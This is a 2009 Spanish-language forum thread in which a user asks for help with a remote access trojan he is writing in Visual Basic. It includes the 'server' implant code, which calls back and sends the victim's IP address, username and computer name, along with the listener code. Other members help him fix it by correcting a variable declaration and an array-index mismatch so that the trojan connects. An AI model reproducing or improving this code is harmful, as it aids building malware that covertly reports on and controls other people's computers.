Página 1 de 2
no conecta mi troyano que voy empezando
Publicado: 10 Jul 2009, 10:52
por soy 1
hola pues me dispuse a hacer un RAT pero lo quise probar antes de acarlo por que le voy agragar herramientas pero no conecta para hacer el troyano me base en el videotutorial de skyweb
alguien me podria decir que error tiene a y de repente cuando abro el server va camiando de puerto osea yo le pongo el 81 y enpiza desde el 4000 y va cambiando 4001 4002 y asi se se sigue
el server
Private Sub conector_Timer()
If WS.State <> sckConnected Then
WS.CloseSck
WS.Connect "localhost", 81
End If
End Sub
Private Sub WS_Connect()
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
End Sub
el cliente
Dim sIndex As Long
Private Sub Form_Load()
WS(0).LocalPort = "81"
WS(0).Listen
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
sIndex = sIndex + 1
Load WS(sIndex)
WS(sIndex).Accept requestID
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim data As String, xdata() As String
WS(sIndex).GetData sData
xdata() = Split(sData, "|")
Select Case xdata(0)
Case "Hola"
With LV.ListItems.Add(, , xdata(1))
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
End Select
End Sub
Re: no conecta mi troyano que voy empezando
Publicado: 10 Jul 2009, 11:04
por 4n0nym0us
Aprende a dejar las cosas en su sitio...
Re: no conecta mi troyano que voy empezando
Publicado: 10 Jul 2009, 12:57
por abeloki
Me resulta familiar el code
Curratelo
Re: no conecta mi troyano que voy empezando
Publicado: 10 Jul 2009, 12:59
por GhoStHa
abeloki escribió:Me resulta familiar el code
Curratelo
Lo pone claro
Re: no conecta mi troyano que voy empezando
Publicado: 10 Jul 2009, 17:17
por soy 1
4n0nym0us escribió:Aprende a dejar las cosas en su sitio...
jajaja no me ahabia fijado me voy a marcar un recordatorio en el brazo
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 18:29
por soy 1
ayuda
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 20:57
por K-0Z
el cliente
Dim sIndex As Long
Private Sub Form_Load()
WS(0).LocalPort = "81"
WS(0).Listen
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
sIndex = sIndex + 1
Load WS(sIndex)
WS(sIndex).Accept requestID
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim data As String, xdata() As String
WS(sIndex).GetData sData
xdata() = Split(sData, "|")
Select Case xdata(0)
Case "Hola"
With LV.ListItems.Add(, , xdata(1))
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
End Select
End Sub
Declaras mal la variable, salu2
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 21:19
por soy 1
Sanlegas escribió:el cliente
Dim sIndex As Long
Private Sub Form_Load()
WS(0).LocalPort = "81"
WS(0).Listen
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
sIndex = sIndex + 1
Load WS(sIndex)
WS(sIndex).Accept requestID
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim data As String, xdata() As String
WS(sIndex).GetData sData
xdata() = Split(sData, "|")
Select Case xdata(0)
Case "Hola"
With LV.ListItems.Add(, , xdata(1))
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
End Select
End Sub
Declaras mal la variable, salu2
GRACIAS AMIGO PERO QUE TENGO QUE CAMBIAR YA SE QUE LO DE ROJO PERO QUE LE CAMBIO
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 21:42
por K-0Z
donde dice "dim data as string" cambialo a dim sData as string" y listo, salu2
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 21:45
por soy 1
Sanlegas escribió:donde dice "dim data as string" cambialo a dim sData as string" y listo, salu2
gracias amigo
este tambien lo pusiste rojo pero ha este no le cambio o tambien
WS(sIndex).GetData
sData
Editado
ya lo cambie asi y ya conecta pero sale un error mira
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 22:09
por K-0Z
soy 1 escribió:Sanlegas escribió:donde dice "dim data as string" cambialo a dim sData as string" y listo, salu2
gracias amigo
este tambien lo pusiste rojo pero ha este no le cambio o tambien
WS(sIndex).GetData
sData
Editado
ya lo cambie asi y ya conecta pero sale un error mira
pon una imagen del error en el codigo,.
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 23:43
por soy 1
Re: no conecta mi troyano que voy empezando
Publicado: 11 Jul 2009, 23:55
por K-0Z
soy 1 escribió:ya la puse
[/quote]
dale depurar y mira que parte del source esta mal, sube la imagen de esa parte del source
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 00:20
por soy 1
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 00:54
por Grecia
creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió:
el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
el cliente
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
